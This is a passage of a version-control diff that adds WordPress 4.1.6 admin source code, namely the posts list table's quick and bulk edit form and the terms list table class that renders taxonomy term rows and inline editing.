+					 * such as posts.
+					 *
+					 * @since 1.5.0
+					 *
+					 * @param string $column_name The name of the column to display.
+					 * @param int    $post_id     The current post ID.
+					 */
+					do_action( 'manage_posts_custom_column', $column_name, $post->ID );
+				}
+
+				/**
+				 * Fires for each custom column of a specific post type in the Posts list table.
+				 *
+				 * The dynamic portion of the hook name, `$post->post_type`, refers to the post type.
+				 *
+				 * @since 3.1.0
+				 *
+				 * @param string $column_name The name of the column to display.
+				 * @param int    $post_id     The current post ID.
+				 */
+				do_action( "manage_{$post->post_type}_posts_custom_column", $column_name, $post->ID );
+			?></td>
+			<?php
+			break;
+			}
+		}
+	?>
+		</tr>
+	<?php
+		$GLOBALS['post'] = $global_post;
+	}
+
+	/**
+	 * Outputs the hidden row displayed when inline editing
+	 *
+	 * @since 3.1.0
+	 */
+	public function inline_edit() {
+		global $mode;
+
+		$screen = $this->screen;
+
+		$post = get_default_post_to_edit( $screen->post_type );
+		$post_type_object = get_post_type_object( $screen->post_type );
+
+		$taxonomy_names = get_object_taxonomies( $screen->post_type );
+		$hierarchical_taxonomies = array();
+		$flat_taxonomies = array();
+		foreach ( $taxonomy_names as $taxonomy_name ) {
+			$taxonomy = get_taxonomy( $taxonomy_name );
+
+			if ( !$taxonomy->show_ui )
+				continue;
+
+			if ( $taxonomy->hierarchical )
+				$hierarchical_taxonomies[] = $taxonomy;
+			else
+				$flat_taxonomies[] = $taxonomy;
+		}
+
+		$m = ( isset( $mode ) && 'excerpt' == $mode ) ? 'excerpt' : 'list';
+		$can_publish = current_user_can( $post_type_object->cap->publish_posts );
+		$core_columns = array( 'cb' => true, 'date' => true, 'title' => true, 'categories' => true, 'tags' => true, 'comments' => true, 'author' => true );
+
+	?>
+
+	<form method="get" action=""><table style="display: none"><tbody id="inlineedit">
+		<?php
+		$hclass = count( $hierarchical_taxonomies ) ? 'post' : 'page';
+		$bulk = 0;
+		while ( $bulk < 2 ) { ?>
+
+		<tr id="<?php echo $bulk ? 'bulk-edit' : 'inline-edit'; ?>" class="inline-edit-row inline-edit-row-<?php echo "$hclass inline-edit-" . $screen->post_type;
+			echo $bulk ? " bulk-edit-row bulk-edit-row-$hclass bulk-edit-{$screen->post_type}" : " quick-edit-row quick-edit-row-$hclass inline-edit-{$screen->post_type}";
+		?>" style="display: none"><td colspan="<?php echo $this->get_column_count(); ?>" class="colspanchange">
+
+		<fieldset class="inline-edit-col-left"><div class="inline-edit-col">
+			<h4><?php echo $bulk ? __( 'Bulk Edit' ) : __( 'Quick Edit' ); ?></h4>
+	<?php
+
+	if ( post_type_supports( $screen->post_type, 'title' ) ) :
+		if ( $bulk ) : ?>
+			<div id="bulk-title-div">
+				<div id="bulk-titles"></div>
+			</div>
+
+	<?php else : // $bulk ?>
+
+			<label>
+				<span class="title"><?php _e( 'Title' ); ?></span>
+				<span class="input-text-wrap"><input type="text" name="post_title" class="ptitle" value="" /></span>
+			</label>
+
+			<label>
+				<span class="title"><?php _e( 'Slug' ); ?></span>
+				<span class="input-text-wrap"><input type="text" name="post_name" value="" /></span>
+			</label>
+
+	<?php endif; // $bulk
+	endif; // post_type_supports title ?>
+
+	<?php if ( !$bulk ) : ?>
+			<label><span class="title"><?php _e( 'Date' ); ?></span></label>
+			<div class="inline-edit-date">
+				<?php touch_time( 1, 1, 0, 1 ); ?>
+			</div>
+			<br class="clear" />
+	<?php endif; // $bulk
+
+		if ( post_type_supports( $screen->post_type, 'author' ) ) :
+			$authors_dropdown = '';
+
+			if ( is_super_admin() || current_user_can( $post_type_object->cap->edit_others_posts ) ) :
+				$users_opt = array(
+					'hide_if_only_one_author' => false,
+					'who' => 'authors',
+					'name' => 'post_author',
+					'class'=> 'authors',
+					'multi' => 1,
+					'echo' => 0
+				);
+				if ( $bulk )
+					$users_opt['show_option_none'] = __( '&mdash; No Change &mdash;' );
+
+				if ( $authors = wp_dropdown_users( $users_opt ) ) :
+					$authors_dropdown  = '<label class="inline-edit-author">';
+					$authors_dropdown .= '<span class="title">' . __( 'Author' ) . '</span>';
+					$authors_dropdown .= $authors;
+					$authors_dropdown .= '</label>';
+				endif;
+			endif; // authors
+	?>
+
+	<?php if ( !$bulk ) echo $authors_dropdown;
+	endif; // post_type_supports author
+
+	if ( !$bulk && $can_publish ) :
+	?>
+
+			<div class="inline-edit-group">
+				<label class="alignleft">
+					<span class="title"><?php _e( 'Password' ); ?></span>
+					<span class="input-text-wrap"><input type="text" name="post_password" class="inline-edit-password-input" value="" /></span>
+				</label>
+
+				<em style="margin:5px 10px 0 0" class="alignleft">
+					<?php
+					/* translators: Between password field and private checkbox on post quick edit interface */
+					echo __( '&ndash;OR&ndash;' );
+					?>
+				</em>
+				<label class="alignleft inline-edit-private">
+					<input type="checkbox" name="keep_private" value="private" />
+					<span class="checkbox-title"><?php echo __( 'Private' ); ?></span>
+				</label>
+			</div>
+
+	<?php endif; ?>
+
+		</div></fieldset>
+
+	<?php if ( count( $hierarchical_taxonomies ) && !$bulk ) : ?>
+
+		<fieldset class="inline-edit-col-center inline-edit-categories"><div class="inline-edit-col">
+
+	<?php foreach ( $hierarchical_taxonomies as $taxonomy ) : ?>
+
+			<span class="title inline-edit-categories-label"><?php echo esc_html( $taxonomy->labels->name ) ?></span>
+			<input type="hidden" name="<?php echo ( $taxonomy->name == 'category' ) ? 'post_category[]' : 'tax_input[' . esc_attr( $taxonomy->name ) . '][]'; ?>" value="0" />
+			<ul class="cat-checklist <?php echo esc_attr( $taxonomy->name )?>-checklist">
+				<?php wp_terms_checklist( null, array( 'taxonomy' => $taxonomy->name ) ) ?>
+			</ul>
+
+	<?php endforeach; //$hierarchical_taxonomies as $taxonomy ?>
+
+		</div></fieldset>
+
+	<?php endif; // count( $hierarchical_taxonomies ) && !$bulk ?>
+
+		<fieldset class="inline-edit-col-right"><div class="inline-edit-col">
+
+	<?php
+		if ( post_type_supports( $screen->post_type, 'author' ) && $bulk )
+			echo $authors_dropdown;
+
+		if ( post_type_supports( $screen->post_type, 'page-attributes' ) ) :
+
+			if ( $post_type_object->hierarchical ) :
+		?>
+			<label>
+				<span class="title"><?php _e( 'Parent' ); ?></span>
+	<?php
+		$dropdown_args = array(
+			'post_type'         => $post_type_object->name,
+			'selected'          => $post->post_parent,
+			'name'              => 'post_parent',
+			'show_option_none'  => __( 'Main Page (no parent)' ),
+			'option_none_value' => 0,
+			'sort_column'       => 'menu_order, post_title',
+		);
+
+		if ( $bulk )
+			$dropdown_args['show_option_no_change'] =  __( '&mdash; No Change &mdash;' );
+
+		/**
+		 * Filter the arguments used to generate the Quick Edit page-parent drop-down.
+		 *
+		 * @since 2.7.0
+		 *
+		 * @see wp_dropdown_pages()
+		 *
+		 * @param array $dropdown_args An array of arguments.
+		 */
+		$dropdown_args = apply_filters( 'quick_edit_dropdown_pages_args', $dropdown_args );
+
+		wp_dropdown_pages( $dropdown_args );
+	?>
+			</label>
+
+	<?php
+			endif; // hierarchical
+
+			if ( !$bulk ) : ?>
+
+			<label>
+				<span class="title"><?php _e( 'Order' ); ?></span>
+				<span class="input-text-wrap"><input type="text" name="menu_order" class="inline-edit-menu-order-input" value="<?php echo $post->menu_order ?>" /></span>
+			</label>
+
+	<?php	endif; // !$bulk
+
+			if ( 'page' == $screen->post_type ) :
+	?>
+
+			<label>
+				<span class="title"><?php _e( 'Template' ); ?></span>
+				<select name="page_template">
+	<?php	if ( $bulk ) : ?>
+					<option value="-1"><?php _e( '&mdash; No Change &mdash;' ); ?></option>
+	<?php	endif; // $bulk ?>
+    				<?php
+					/** This filter is documented in wp-admin/includes/meta-boxes.php */
+					$default_title = apply_filters( 'default_page_template_title',  __( 'Default Template' ), 'quick-edit' );
+    				?>
+					<option value="default"><?php echo esc_html( $default_title ); ?></option>
+					<?php page_template_dropdown() ?>
+				</select>
+			</label>
+
+	<?php
+			endif; // page post_type
+		endif; // page-attributes
+	?>
+
+	<?php if ( count( $flat_taxonomies ) && !$bulk ) : ?>
+
+	<?php foreach ( $flat_taxonomies as $taxonomy ) : ?>
+		<?php if ( current_user_can( $taxonomy->cap->assign_terms ) ) : ?>
+			<label class="inline-edit-tags">
+				<span class="title"><?php echo esc_html( $taxonomy->labels->name ) ?></span>
+				<textarea cols="22" rows="1" name="tax_input[<?php echo esc_attr( $taxonomy->name )?>]" class="tax_input_<?php echo esc_attr( $taxonomy->name )?>"></textarea>
+			</label>
+		<?php endif; ?>
+
+	<?php endforeach; //$flat_taxonomies as $taxonomy ?>
+
+	<?php endif; // count( $flat_taxonomies ) && !$bulk  ?>
+
+	<?php if ( post_type_supports( $screen->post_type, 'comments' ) || post_type_supports( $screen->post_type, 'trackbacks' ) ) :
+		if ( $bulk ) : ?>
+
+			<div class="inline-edit-group">
+		<?php if ( post_type_supports( $screen->post_type, 'comments' ) ) : ?>
+			<label class="alignleft">
+				<span class="title"><?php _e( 'Comments' ); ?></span>
+				<select name="comment_status">
+					<option value=""><?php _e( '&mdash; No Change &mdash;' ); ?></option>
+					<option value="open"><?php _e( 'Allow' ); ?></option>
+					<option value="closed"><?php _e( 'Do not allow' ); ?></option>
+				</select>
+			</label>
+		<?php endif; if ( post_type_supports( $screen->post_type, 'trackbacks' ) ) : ?>
+			<label class="alignright">
+				<span class="title"><?php _e( 'Pings' ); ?></span>
+				<select name="ping_status">
+					<option value=""><?php _e( '&mdash; No Change &mdash;' ); ?></option>
+					<option value="open"><?php _e( 'Allow' ); ?></option>
+					<option value="closed"><?php _e( 'Do not allow' ); ?></option>
+				</select>
+			</label>
+		<?php endif; ?>
+			</div>
+
+	<?php else : // $bulk ?>
+
+			<div class="inline-edit-group">
+			<?php if ( post_type_supports( $screen->post_type, 'comments' ) ) : ?>
+				<label class="alignleft">
+					<input type="checkbox" name="comment_status" value="open" />
+					<span class="checkbox-title"><?php _e( 'Allow Comments' ); ?></span>
+				</label>
+			<?php endif; if ( post_type_supports( $screen->post_type, 'trackbacks' ) ) : ?>
+				<label class="alignleft">
+					<input type="checkbox" name="ping_status" value="open" />
+					<span class="checkbox-title"><?php _e( 'Allow Pings' ); ?></span>
+				</label>
+			<?php endif; ?>
+			</div>
+
+	<?php endif; // $bulk
+	endif; // post_type_supports comments or pings ?>
+
+			<div class="inline-edit-group">
+				<label class="inline-edit-status alignleft">
+					<span class="title"><?php _e( 'Status' ); ?></span>
+					<select name="_status">
+	<?php if ( $bulk ) : ?>
+						<option value="-1"><?php _e( '&mdash; No Change &mdash;' ); ?></option>
+	<?php endif; // $bulk ?>
+					<?php if ( $can_publish ) : // Contributors only get "Unpublished" and "Pending Review" ?>
+						<option value="publish"><?php _e( 'Published' ); ?></option>
+						<option value="future"><?php _e( 'Scheduled' ); ?></option>
+	<?php if ( $bulk ) : ?>
+						<option value="private"><?php _e( 'Private' ) ?></option>
+	<?php endif; // $bulk ?>
+					<?php endif; ?>
+						<option value="pending"><?php _e( 'Pending Review' ); ?></option>
+						<option value="draft"><?php _e( 'Draft' ); ?></option>
+					</select>
+				</label>
+
+	<?php if ( 'post' == $screen->post_type && $can_publish && current_user_can( $post_type_object->cap->edit_others_posts ) ) : ?>
+
+	<?php	if ( $bulk ) : ?>
+
+				<label class="alignright">
+					<span class="title"><?php _e( 'Sticky' ); ?></span>
+					<select name="sticky">
+						<option value="-1"><?php _e( '&mdash; No Change &mdash;' ); ?></option>
+						<option value="sticky"><?php _e( 'Sticky' ); ?></option>
+						<option value="unsticky"><?php _e( 'Not Sticky' ); ?></option>
+					</select>
+				</label>
+
+	<?php	else : // $bulk ?>
+
+				<label class="alignleft">
+					<input type="checkbox" name="sticky" value="sticky" />
+					<span class="checkbox-title"><?php _e( 'Make this post sticky' ); ?></span>
+				</label>
+
+	<?php	endif; // $bulk ?>
+
+	<?php endif; // 'post' && $can_publish && current_user_can( 'edit_others_cap' ) ?>
+
+			</div>
+
+	<?php
+
+	if ( $bulk && current_theme_supports( 'post-formats' ) && post_type_supports( $screen->post_type, 'post-formats' ) ) {
+		$post_formats = get_theme_support( 'post-formats' );
+
+		?>
+		<label class="alignleft" for="post_format">
+		<span class="title"><?php _ex( 'Format', 'post format' ); ?></span>
+		<select name="post_format">
+			<option value="-1"><?php _e( '&mdash; No Change &mdash;' ); ?></option>
+			<option value="0"><?php echo get_post_format_string( 'standard' ); ?></option>
+			<?php
+
+			foreach ( $post_formats[0] as $format ) {
+				?>
+				<option value="<?php echo esc_attr( $format ); ?>"><?php echo esc_html( get_post_format_string( $format ) ); ?></option>
+				<?php
+			}
+
+			?>
+		</select></label>
+	<?php
+
+	}
+
+	?>
+
+		</div></fieldset>
+
+	<?php
+		list( $columns ) = $this->get_column_info();
+
+		foreach ( $columns as $column_name => $column_display_name ) {
+			if ( isset( $core_columns[$column_name] ) )
+				continue;
+
+			if ( $bulk ) {
+
+				/**
+				 * Fires once for each column in Bulk Edit mode.
+				 *
+				 * @since 2.7.0
+				 *
+				 * @param string  $column_name Name of the column to edit.
+				 * @param WP_Post $post_type   The post type slug.
+				 */
+				do_action( 'bulk_edit_custom_box', $column_name, $screen->post_type );
+			} else {
+
+				/**
+				 * Fires once for each column in Quick Edit mode.
+				 *
+				 * @since 2.7.0
+				 *
+				 * @param string  $column_name Name of the column to edit.
+				 * @param WP_Post $post_type   The post type slug.
+				 */
+				do_action( 'quick_edit_custom_box', $column_name, $screen->post_type );
+			}
+
+		}
+	?>
+		<p class="submit inline-edit-save">
+			<a accesskey="c" href="#inline-edit" class="button-secondary cancel alignleft"><?php _e( 'Cancel' ); ?></a>
+			<?php if ( ! $bulk ) {
+				wp_nonce_field( 'inlineeditnonce', '_inline_edit', false );
+				?>
+				<a accesskey="s" href="#inline-edit" class="button-primary save alignright"><?php _e( 'Update' ); ?></a>
+				<span class="spinner"></span>
+			<?php } else {
+				submit_button( __( 'Update' ), 'button-primary alignright', 'bulk_edit', false, array( 'accesskey' => 's' ) );
+			} ?>
+			<input type="hidden" name="post_view" value="<?php echo esc_attr( $m ); ?>" />
+			<input type="hidden" name="screen" value="<?php echo esc_attr( $screen->id ); ?>" />
+			<?php if ( ! $bulk && ! post_type_supports( $screen->post_type, 'author' ) ) { ?>
+				<input type="hidden" name="post_author" value="<?php echo esc_attr( $post->post_author ); ?>" />
+			<?php } ?>
+			<span class="error" style="display:none"></span>
+			<br class="clear" />
+		</p>
+		</td></tr>
+	<?php
+		$bulk++;
+		}
+?>
+		</tbody></table></form>
+<?php
+	}
+}
Index: /tags/4.1.6/src/wp-admin/includes/class-wp-terms-list-table.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/class-wp-terms-list-table.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/class-wp-terms-list-table.php	(revision 33402)
@@ -0,0 +1,511 @@
+<?php
+/**
+ * Terms List Table class.
+ *
+ * @package WordPress
+ * @subpackage List_Table
+ * @since 3.1.0
+ * @access private
+ */
+class WP_Terms_List_Table extends WP_List_Table {
+
+	public $callback_args;
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 3.1.0
+	 * @access public
+	 *
+	 * @see WP_List_Table::__construct() for more information on default arguments.
+	 *
+	 * @param array $args An associative array of arguments.
+	 */
+	public function __construct( $args = array() ) {
+		global $post_type, $taxonomy, $action, $tax;
+
+		parent::__construct( array(
+			'plural' => 'tags',
+			'singular' => 'tag',
+			'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
+		) );
+
+		$action    = $this->screen->action;
+		$post_type = $this->screen->post_type;
+		$taxonomy  = $this->screen->taxonomy;
+
+		if ( empty( $taxonomy ) )
+			$taxonomy = 'post_tag';
+
+		if ( ! taxonomy_exists( $taxonomy ) )
+			wp_die( __( 'Invalid taxonomy' ) );
+
+		$tax = get_taxonomy( $taxonomy );
+
+		// @todo Still needed? Maybe just the show_ui part.
+		if ( empty( $post_type ) || !in_array( $post_type, get_post_types( array( 'show_ui' => true ) ) ) )
+			$post_type = 'post';
+
+	}
+
+	public function ajax_user_can() {
+		return current_user_can( get_taxonomy( $this->screen->taxonomy )->cap->manage_terms );
+	}
+
+	public function prepare_items() {
+		$tags_per_page = $this->get_items_per_page( 'edit_' . $this->screen->taxonomy . '_per_page' );
+
+		if ( 'post_tag' == $this->screen->taxonomy ) {
+			/**
+			 * Filter the number of terms displayed per page for the Tags list table.
+			 *
+			 * @since 2.8.0
+			 *
+			 * @param int $tags_per_page Number of tags to be displayed. Default 20.
+			 */
+			$tags_per_page = apply_filters( 'edit_tags_per_page', $tags_per_page );
+
+			/**
+			 * Filter the number of terms displayed per page for the Tags list table.
+			 *
+			 * @since 2.7.0
+			 * @deprecated 2.8.0 Use edit_tags_per_page instead.
+			 *
+			 * @param int $tags_per_page Number of tags to be displayed. Default 20.
+			 */
+			$tags_per_page = apply_filters( 'tagsperpage', $tags_per_page );
+		} elseif ( 'category' == $this->screen->taxonomy ) {
+			/**
+			 * Filter the number of terms displayed per page for the Categories list table.
+			 *
+			 * @since 2.8.0
+			 *
+			 * @param int $tags_per_page Number of categories to be displayed. Default 20.
+			 */
+			$tags_per_page = apply_filters( 'edit_categories_per_page', $tags_per_page );
+		}
+
+		$search = !empty( $_REQUEST['s'] ) ? trim( wp_unslash( $_REQUEST['s'] ) ) : '';
+
+		$args = array(
+			'search' => $search,
+			'page' => $this->get_pagenum(),
+			'number' => $tags_per_page,
+		);
+
+		if ( !empty( $_REQUEST['orderby'] ) )
+			$args['orderby'] = trim( wp_unslash( $_REQUEST['orderby'] ) );
+
+		if ( !empty( $_REQUEST['order'] ) )
+			$args['order'] = trim( wp_unslash( $_REQUEST['order'] ) );
+
+		$this->callback_args = $args;
+
+		$this->set_pagination_args( array(
+			'total_items' => wp_count_terms( $this->screen->taxonomy, compact( 'search' ) ),
+			'per_page' => $tags_per_page,
+		) );
+	}
+
+	public function has_items() {
+		// todo: populate $this->items in prepare_items()
+		return true;
+	}
+
+	protected function get_bulk_actions() {
+		$actions = array();
+		$actions['delete'] = __( 'Delete' );
+
+		return $actions;
+	}
+
+	public function current_action() {
+		if ( isset( $_REQUEST['action'] ) && isset( $_REQUEST['delete_tags'] ) && ( 'delete' == $_REQUEST['action'] || 'delete' == $_REQUEST['action2'] ) )
+			return 'bulk-delete';
+
+		return parent::current_action();
+	}
+
+	public function get_columns() {
+		$columns = array(
+			'cb'          => '<input type="checkbox" />',
+			'name'        => _x( 'Name', 'term name' ),
+			'description' => __( 'Description' ),
+			'slug'        => __( 'Slug' ),
+		);
+
+		if ( 'link_category' == $this->screen->taxonomy ) {
+			$columns['links'] = __( 'Links' );
+		} else {
+			$columns['posts'] = _x( 'Count', 'Number/count of items' );
+		}
+
+		return $columns;
+	}
+
+	protected function get_sortable_columns() {
+		return array(
+			'name'        => 'name',
+			'description' => 'description',
+			'slug'        => 'slug',
+			'posts'       => 'count',
+			'links'       => 'count'
+		);
+	}
+
+	public function display_rows_or_placeholder() {
+		$taxonomy = $this->screen->taxonomy;
+
+		$args = wp_parse_args( $this->callback_args, array(
+			'page' => 1,
+			'number' => 20,
+			'search' => '',
+			'hide_empty' => 0
+		) );
+
+		$page = $args['page'];
+
+		// Set variable because $args['number'] can be subsequently overridden.
+		$number = $args['number'];
+
+		$args['offset'] = $offset = ( $page - 1 ) * $number;
+
+		// Convert it to table rows.
+		$count = 0;
+
+		if ( is_taxonomy_hierarchical( $taxonomy ) && ! isset( $args['orderby'] ) ) {
+			// We'll need the full set of terms then.
+			$args['number'] = $args['offset'] = 0;
+		}
+		$terms = get_terms( $taxonomy, $args );
+
+		if ( empty( $terms ) ) {
+			echo '<tr class="no-items"><td class="colspanchange" colspan="' . $this->get_column_count() . '">';
+			$this->no_items();
+			echo '</td></tr>';
+			return;
+		}
+
+		if ( is_taxonomy_hierarchical( $taxonomy ) && ! isset( $args['orderby'] ) ) {
+			if ( ! empty( $args['search'] ) ) {// Ignore children on searches.
+				$children = array();
+			} else {
+				$children = _get_term_hierarchy( $taxonomy );
+			}
+			// Some funky recursion to get the job done( Paging & parents mainly ) is contained within, Skip it for non-hierarchical taxonomies for performance sake
+			$this->_rows( $taxonomy, $terms, $children, $offset, $number, $count );
+		} else {
+			$terms = get_terms( $taxonomy, $args );
+			foreach ( $terms as $term ) {
+				$this->single_row( $term );
+			}
+		}
+	}
+
+	/**
+	 * @param string $taxonomy
+	 * @param array $terms
+	 * @param array $children
+	 * @param int $start
+	 * @param int $per_page
+	 * @param int $count
+	 * @param int $parent
+	 * @param int $level
+	 */
+	private function _rows( $taxonomy, $terms, &$children, $start, $per_page, &$count, $parent = 0, $level = 0 ) {
+
+		$end = $start + $per_page;
+
+		foreach ( $terms as $key => $term ) {
+
+			if ( $count >= $end )
+				break;
+
+			if ( $term->parent != $parent && empty( $_REQUEST['s'] ) )
+				continue;
+
+			// If the page starts in a subtree, print the parents.
+			if ( $count == $start && $term->parent > 0 && empty( $_REQUEST['s'] ) ) {
+				$my_parents = $parent_ids = array();
+				$p = $term->parent;
+				while ( $p ) {
+					$my_parent = get_term( $p, $taxonomy );
+					$my_parents[] = $my_parent;
+					$p = $my_parent->parent;
+					if ( in_array( $p, $parent_ids ) ) // Prevent parent loops.
+						break;
+					$parent_ids[] = $p;
+				}
+				unset( $parent_ids );
+
+				$num_parents = count( $my_parents );
+				while ( $my_parent = array_pop( $my_parents ) ) {
+					echo "\t";
+					$this->single_row( $my_parent, $level - $num_parents );
+					$num_parents--;
+				}
+			}
+
+			if ( $count >= $start ) {
+				echo "\t";
+				$this->single_row( $term, $level );
+			}
+
+			++$count;
+
+			unset( $terms[$key] );
+
+			if ( isset( $children[$term->term_id] ) && empty( $_REQUEST['s'] ) )
+				$this->_rows( $taxonomy, $terms, $children, $start, $per_page, $count, $term->term_id, $level + 1 );
+		}
+	}
+
+	/**
+	 * @global string $taxonomy
+	 * @staticvar string $row_class
+	 * @param object $tag
+	 * @param int $level
+	 */
+	public function single_row( $tag, $level = 0 ) {
+		global $taxonomy;
+ 		$tag = sanitize_term( $tag, $taxonomy );
+
+		static $row_class = '';
+		$row_class = ( $row_class == '' ? ' class="alternate"' : '' );
+
+		$this->level = $level;
+
+		echo '<tr id="tag-' . $tag->term_id . '"' . $row_class . '>';
+		$this->single_row_columns( $tag );
+		echo '</tr>';
+	}
+
+	/**
+	 * @param object $tag
+	 * @return string
+	 */
+	public function column_cb( $tag ) {
+		$default_term = get_option( 'default_' . $this->screen->taxonomy );
+
+		if ( current_user_can( get_taxonomy( $this->screen->taxonomy )->cap->delete_terms ) && $tag->term_id != $default_term )
+			return '<label class="screen-reader-text" for="cb-select-' . $tag->term_id . '">' . sprintf( __( 'Select %s' ), $tag->name ) . '</label>'
+				. '<input type="checkbox" name="delete_tags[]" value="' . $tag->term_id . '" id="cb-select-' . $tag->term_id . '" />';
+
+		return '&nbsp;';
+	}
+
+	/**
+	 * @param object $tag
+	 * @return string
+	 */
+	public function column_name( $tag ) {
+		$taxonomy = $this->screen->taxonomy;
+		$tax = get_taxonomy( $taxonomy );
+
+		$default_term = get_option( 'default_' . $taxonomy );
+
+		$pad = str_repeat( '&#8212; ', max( 0, $this->level ) );
+
+		/**
+		 * Filter display of the term name in the terms list table.
+		 *
+		 * The default output may include padding due to the term's
+		 * current level in the term hierarchy.
+		 *
+		 * @since 2.5.0
+		 *
+		 * @see WP_Terms_List_Table::column_name()
+		 *
+		 * @param string $pad_tag_name The term name, padded if not top-level.
+		 * @param object $tag          Term object.
+		 */
+		$name = apply_filters( 'term_name', $pad . ' ' . $tag->name, $tag );
+
+		$qe_data = get_term( $tag->term_id, $taxonomy, OBJECT, 'edit' );
+		$edit_link = esc_url( get_edit_term_link( $tag->term_id, $taxonomy, $this->screen->post_type ) );
+
+		$out = '<strong><a class="row-title" href="' . $edit_link . '" title="' . esc_attr( sprintf( __( 'Edit &#8220;%s&#8221;' ), $name ) ) . '">' . $name . '</a></strong><br />';
+
+		$actions = array();
+		if ( current_user_can( $tax->cap->edit_terms ) ) {
+			$actions['edit'] = '<a href="' . $edit_link . '">' . __( 'Edit' ) . '</a>';
+			$actions['inline hide-if-no-js'] = '<a href="#" class="editinline">' . __( 'Quick&nbsp;Edit' ) . '</a>';
+		}
+		if ( current_user_can( $tax->cap->delete_terms ) && $tag->term_id != $default_term )
+			$actions['delete'] = "<a class='delete-tag' href='" . wp_nonce_url( "edit-tags.php?action=delete&amp;taxonomy=$taxonomy&amp;tag_ID=$tag->term_id", 'delete-tag_' . $tag->term_id ) . "'>" . __( 'Delete' ) . "</a>";
+		if ( $tax->public )
+			$actions['view'] = '<a href="' . get_term_link( $tag ) . '">' . __( 'View' ) . '</a>';
+
+		/**
+		 * Filter the action links displayed for each term in the Tags list table.
+		 *
+		 * @since 2.8.0
+		 * @deprecated 3.0.0 Use {$taxonomy}_row_actions instead.
+		 *
+		 * @param array  $actions An array of action links to be displayed. Default
+		 *                        'Edit', 'Quick Edit', 'Delete', and 'View'.
+		 * @param object $tag     Term object.
+		 */
+		$actions = apply_filters( 'tag_row_actions', $actions, $tag );
+
+		/**
+		 * Filter the action links displayed for each term in the terms list table.
+		 *
+		 * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param array  $actions An array of action links to be displayed. Default
+		 *                        'Edit', 'Quick Edit', 'Delete', and 'View'.
+		 * @param object $tag     Term object.
+		 */
+		$actions = apply_filters( "{$taxonomy}_row_actions", $actions, $tag );
+
+		$out .= $this->row_actions( $actions );
+		$out .= '<div class="hidden" id="inline_' . $qe_data->term_id . '">';
+		$out .= '<div class="name">' . $qe_data->name . '</div>';
+
+		/** This filter is documented in wp-admin/edit-tag-form.php */
+		$out .= '<div class="slug">' . apply_filters( 'editable_slug', $qe_data->slug ) . '</div>';
+		$out .= '<div class="parent">' . $qe_data->parent . '</div></div>';
+
+		return $out;
+	}
+
+	/**
+	 * @param object $tag
+	 * @return string
+	 */
+	public function column_description( $tag ) {
+		return $tag->description;
+	}
+
+	/**
+	 * @param object $tag
+	 * @return string
+	 */
+	public function column_slug( $tag ) {
+		/** This filter is documented in wp-admin/edit-tag-form.php */
+		return apply_filters( 'editable_slug', $tag->slug );
+	}
+
+	/**
+	 * @param object $tag
+	 * @return string
+	 */
+	public function column_posts( $tag ) {
+		$count = number_format_i18n( $tag->count );
+
+		$tax = get_taxonomy( $this->screen->taxonomy );
+
+		$ptype_object = get_post_type_object( $this->screen->post_type );
+		if ( ! $ptype_object->show_ui )
+			return $count;
+
+		if ( $tax->query_var ) {
+			$args = array( $tax->query_var => $tag->slug );
+		} else {
+			$args = array( 'taxonomy' => $tax->name, 'term' => $tag->slug );
+		}
+
+		if ( 'post' != $this->screen->post_type )
+			$args['post_type'] = $this->screen->post_type;
+
+		if ( 'attachment' == $this->screen->post_type )
+			return "<a href='" . esc_url ( add_query_arg( $args, 'upload.php' ) ) . "'>$count</a>";
+
+		return "<a href='" . esc_url ( add_query_arg( $args, 'edit.php' ) ) . "'>$count</a>";
+	}
+
+	/**
+	 * @param object $tag
+	 * @return string
+	 */
+	public function column_links( $tag ) {
+		$count = number_format_i18n( $tag->count );
+		if ( $count )
+			$count = "<a href='link-manager.php?cat_id=$tag->term_id'>$count</a>";
+		return $count;
+	}
+
+	/**
+	 * @param object $tag
+	 * @param string $column_name
+	 * @return string
+	 */
+	public function column_default( $tag, $column_name ) {
+		/**
+		 * Filter the displayed columns in the terms list table.
+		 *
+		 * The dynamic portion of the hook name, `$this->screen->taxonomy`,
+		 * refers to the slug of the current taxonomy.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param string $string      Blank string.
+		 * @param string $column_name Name of the column.
+		 * @param int    $term_id     Term ID.
+		 */
+		return apply_filters( "manage_{$this->screen->taxonomy}_custom_column", '', $column_name, $tag->term_id );
+	}
+
+	/**
+	 * Outputs the hidden row displayed when inline editing
+	 *
+	 * @since 3.1.0
+	 */
+	public function inline_edit() {
+		$tax = get_taxonomy( $this->screen->taxonomy );
+
+		if ( ! current_user_can( $tax->cap->edit_terms ) )
+			return;
+?>
+
+	<form method="get" action=""><table style="display: none"><tbody id="inlineedit">
+		<tr id="inline-edit" class="inline-edit-row" style="display: none"><td colspan="<?php echo $this->get_column_count(); ?>" class="colspanchange">
+
+			<fieldset><div class="inline-edit-col">
+				<h4><?php _e( 'Quick Edit' ); ?></h4>
+
+				<label>
+					<span class="title"><?php _ex( 'Name', 'term name' ); ?></span>
+					<span class="input-text-wrap"><input type="text" name="name" class="ptitle" value="" /></span>
+				</label>
+	<?php if ( !global_terms_enabled() ) { ?>
+				<label>
+					<span class="title"><?php _e( 'Slug' ); ?></span>
+					<span class="input-text-wrap"><input type="text" name="slug" class="ptitle" value="" /></span>
+				</label>
+	<?php } ?>
+			</div></fieldset>
+	<?php
+
+		$core_columns = array( 'cb' => true, 'description' => true, 'name' => true, 'slug' => true, 'posts' => true );
+
+		list( $columns ) = $this->get_column_info();
+
+		foreach ( $columns as $column_name => $column_display_name ) {
+			if ( isset( $core_columns[$column_name] ) )
+				continue;
+
+			/** This action is documented in wp-admin/includes/class-wp-posts-list-table.php */
+			do_action( 'quick_edit_custom_box', $column_name, 'edit-tags', $this->screen->taxonomy );
+		}
+
+	?>
+
+		<p class="inline-edit-save submit">
+			<a accesskey="c" href="#inline-edit" class="cancel button-secondary alignleft"><?php _e( 'Cancel' ); ?></a>
+			<a accesskey="s" href="#inline-edit" class="save button-primary alignright"><?php echo $tax->labels->update_item; ?></a>
+			<span class="spinner"></span>
+			<span class="error" style="display:none;"></span>
+			<?php wp_nonce_field( 'taxinlineeditnonce', '_inline_edit', false ); ?>
+			<input type="hidden" name="taxonomy" value="<?php echo esc_attr( $this->screen->taxonomy ); ?>" />
+			<input type="hidden" name="post_type" value="<?php echo esc_attr( $this->screen->post_type ); ?>" />
